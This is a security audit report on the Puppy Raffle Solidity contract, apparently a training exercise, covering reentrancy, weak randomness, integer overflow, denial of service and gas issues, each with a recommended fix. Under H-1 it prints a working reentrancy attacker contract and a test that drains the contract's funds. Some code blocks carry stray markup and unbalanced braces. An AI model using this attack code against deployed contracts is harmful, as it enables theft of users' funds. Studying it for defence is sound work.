Puppy Raffle Audit Report

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Protocol Summary

The Puppy Raffle project is to enter a raffle to win a cute dog NFT.

Executive Summary

A security assessment and code review was performed for the Puppy Raffle project from 8 March 2025 to 13 March 2025. During the engagement, the source code was audited for security vulnerabilities, design flaws and general weaknesses in security posture. As a result, 3 high severity findings, two medium findings and 6 informational findings were discovered.

Risk Classification

Impact

		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Git Repository: https://gitpod.io/#github.com/Cyfrin/4-puppy-raffle-audit
- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- Programming Language(s): Solidity
- Platform: EVM

Files audited:

./src/
-> PuppyRaffle.sol

Issues found

Severity	Count	
High	3	
Medium	2	
Low	0	
Info/Gas	6	

Findings

[H-1] The PuppyRaffle::refund function is vulnerable to reentrancy, allowing all funds to be drained

Description

The PuppyRaffle::refund function updates the player address after the player withdraws their funds from the contract. An attacker can create a malicious contract with a fallback or receive function that calls PuppyRaffle::refund to get another refund from the contract. The attacker can repeat this until all of the contract funds are drained.

Impact

• Reentrancy attack lets an attacker drain all of the funds from the contract

Proof of Concept

- 1. Players enter the raffle
- 2. Attacker creates a malicious contract
- 3. Attacker enters the raffle
- 4. Attack triggers the reentrancy attack by calling PuppyRaffle::refund

The malicious contract:

```
contract ReentrancyAttacker {
   PuppyRaffle puppyRaffle; // the victim contract
   uint256 entranceFee;
                              // the entrance fee
   uint256 attackerIndex;  // the attacker index into the player array
   constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
       entranceFee = _PuppyRaffle::entranceFee();
   }
   function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
       // Enter the raffle
       PuppyRaffle::enterRaffle{value: entranceFee}(players);
       // The index will always be 0 since we are the only player, but we are
being verbose
       attackerIndex = PuppyRaffle::getActivePlayerIndex(address(this));
       // Trigger the reentrancy attack by refunding our entrace fee
       PuppyRaffle::refund(attackerIndex);
   }
   receive() external payable {
       if (address(puppyRaffle).balance >= entranceFee) {
           PuppyRaffle::refund(attackerIndex);
   }
}
```

The test that performs the reentrancy attack:

```
function test_reentrancyAttack() public playersEntered {
   // create attacker contract and address
   ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
```

```
address attacker = makeAddr("attacker");

// Give the attacker some money so they can enter the raffle
vm.deal(attacker, entranceFee);

// check the balances before the attack
console.log("Attacker contract balance: %s",
address(attackerContract).balance);
console.log("PuppyRaffle balance: %s", address(puppyRaffle).balance);

// start the attack
vm.prank(attacker);
attackerContract.attack{value: entranceFee}();

// check if the attack was successful
console.log("Attacker contract balance: %s",
address(attackerContract).balance);
console.log("PuppyRaffle balance: %s", address(puppyRaffle).balance);
}
```

This results in the attacker being able to drain all funds from the raffle.

Recommendations

Follow CEI (checks, effects, interactions) best practices and set the player to address (0) before the call to .sendValue.

```
function refund(uint256 playerIndex) public {
   address playerAddress = players[playerIndex];
   require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
   require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or
is not active");

   players[playerIndex] = address(0);

   payable(msg.sender).sendValue(entranceFee);
   emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak RNG in PuppyRaffle::selectWinner leads to players being able to predict or influence the raffle results

Description

The PuppyRaffle::selectWinner function uses weak RNG values to select the raffle winner and the rarity of the NFT. Values such as msg.sender, block.timestamp and block.difficulty can be manipulated by miners/players to get the results they want and rig the raffle.

```
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
block.difficulty))) % 100;
```

Impact

Players are able to predict or influence the raffle winner or NFT results, making the entire raffle pointless.

Recommendations

Use a provenly fair and random number generator like Chainlink VRF.

[H-3] Integer overflow in PuppyRaffle::selectWinner loses fees

Description The totalFees variable can overflow and and cause the contract to not collect the correct amount of fees

Impact

If the totalFees variable overflows, then the correct amount of fees may not be collected in the PuppyRaffle::withdrawFees function. This can lead to funds being stuck in the contract.

Proof of Concept

Place the test test_TotalFeesOverflow inside of PuppyRaffleTest.t.sol.

```
function test_TotalFeesOverflow() public playersEntered {
    // Finish a raffle with 4 players and collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.warp(block.timestamp + duration + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();

    console.log("startingTotalFees: ", startingTotalFees);
    // startingTotalFees: 80000000000000000

    // Now have many more players enter a new raffle
    uint256 numberOfPlayers = 90;
    address[] memory players = new address[](numberOfPlayers);
    for (uint i = 0; i < numberOfPlayers; ++i) {
        players[i] = address(i + 1);
    }
}</pre>
```

```
// fund the new raffle
puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(players);

// end the raffle
vm.warp(block.timestamp + duration + 1);
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
uint256 endingTotalFees = puppyRaffle.totalFees();

console.log("endingTotalFees: ", endingTotalFees);
assert(endingTotalFees < startingTotalFees);

// We are also unable to withdraw any fees because of the require check
vm.prank(puppyRaffle.feeAddress());
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}</pre>
```

Recommendations

- Use a solidity version of 0.8.0 or higher to protect against integer overflows and underflows.
- Alternatively, use the SafeMath library from OpenZeppelin.

[M-1] Looping through the players array to check for duplicates in PuppyRaffle::enterRaffle can lead to a Denial of Service attack, increasing gas costs for future entrants

#Description

Inside of the PuppyRaffle::enterRaffle function, the nested for loop that checks for duplicates iterates across the entire players array. As the number of players grows, the gas cost will increase dramatically.

#Impact

Can lead to gas prices becoming so high that no one can feasibly afford it, leading to a DoS. Furthermore, players who enter the raffle later will have to pay more than the earlier players.

#Proof of Concept

See test.

#Recommendations

Recommend using a mapping instead of an array for storing unique player addresses.

```
mapping(address => bool) public isPlayerEntered;
//...
```

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send
enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {
        address player = newPlayers[i];
        require(player != address(0), "PuppyRaffle: Invalid address");
        require(!isPlayerEntered[player], "PuppyRaffle: Duplicate player");

        // Add the player to the players array and mark as entered
        players.push(player);
        isPlayerEntered[player] = true;
    }

    emit RaffleEnter(newPlayers);
}</pre>
```

[M-2] PuppyRaffle::getActivePlayerIndex returns the incorrect value for players that are not active

Description

The PuppyRaffle::getActivePlayerIndex returns the index of the player in the players[] array if they are active, otherwise it returns 0. However, 0 is a valid array index and stores the first active player in the raffle.

```
/// @notice a way to get the index in the array
/// @param player the address of a player in the raffle
/// @return the index of the player in the array, if they are not active, it
returns 0
  function getActivePlayerIndex(address player) external view returns (uint256)
{
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    // @audit 0 is a valid index in the array, returning 0 will make a player
think they are not active when they are!
    return 0;
}</pre>
```

Impact

Inactive players will be given the index to the first active player

Recommendations

Consider returning a non-zero number such as uint256.max for players that are not active.

[I-1] Outdated Solidity compiler version lacks security features.

Description

The PuppyRaffle::sol contract is using an outdated solc version of 0.7.6.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Impact

- Lacks support for newer Solidity security checks
- Lacks integer overflow/underflow and other SafeMath features

Recommendations

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-2] Floating Pragma

Description

The PuppyRaffle contract uses a floating pragma that allows Solidity compiler versions ^0.7.6.

Recommendations

Lock the pragma to a specific version of Solidity, such as 0.8.0.

[I-3] raffleDuration global storage variable should be immutable

Description

The PuppyRaffle contract creates a state variable called raffleDuration. Since this value is only ever set in the contract's constructor, it should be set as immutable to save gas.

State variables that are not updated following deployment should be declared immutable to save gas.

Impact

Extra gas is burned unnecessarily.

Recommendations

Add the immutable attribute raffleDuration.

[I-4] NFT URI state variables should be declared constant to save gas

Description

Inside PuppyRaffle the three state variables commonImageUri, rareImageUri and legendaryImageUri are used to store the URI of the puppy NFTs. These variables are not updated after the contract is deployed and should be declared as constants to save gas.

Impact

Extra gas is spent.

Recommendations

Add the constant attribute to these variables.

[I-5] The PuppyRaffle::selectWinner function uses magic numbers, which is poor coding practice

Description

Inside the PuppyRaffle::selectWinner function, the winner funds percentage and the fee percentage are hardcoded/magic numbers. This is not great coding practice and the values can get mixed up or misused as the codebase grows. Consider declaring constant variables to define these values to improve code readability.

Recommendations

```
function selectWinner() external {
//...
+ uint256 private constant WINNER_FUND_PERCENTAGE = 80
+ uint256 private constant FEE_PERCENTAGE = 20
   address winner = players[winnerIndex];
   uint256 totalAmountCollected = players.length * entranceFee;
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 prizePool = (totalAmountCollected * WINNER_FUND_PERCENTAGE) / 100;
+ uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / 100;
```

[I-6] The PuppyRaffle::_isActivePlayer function is never called and should be removed to save gas

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.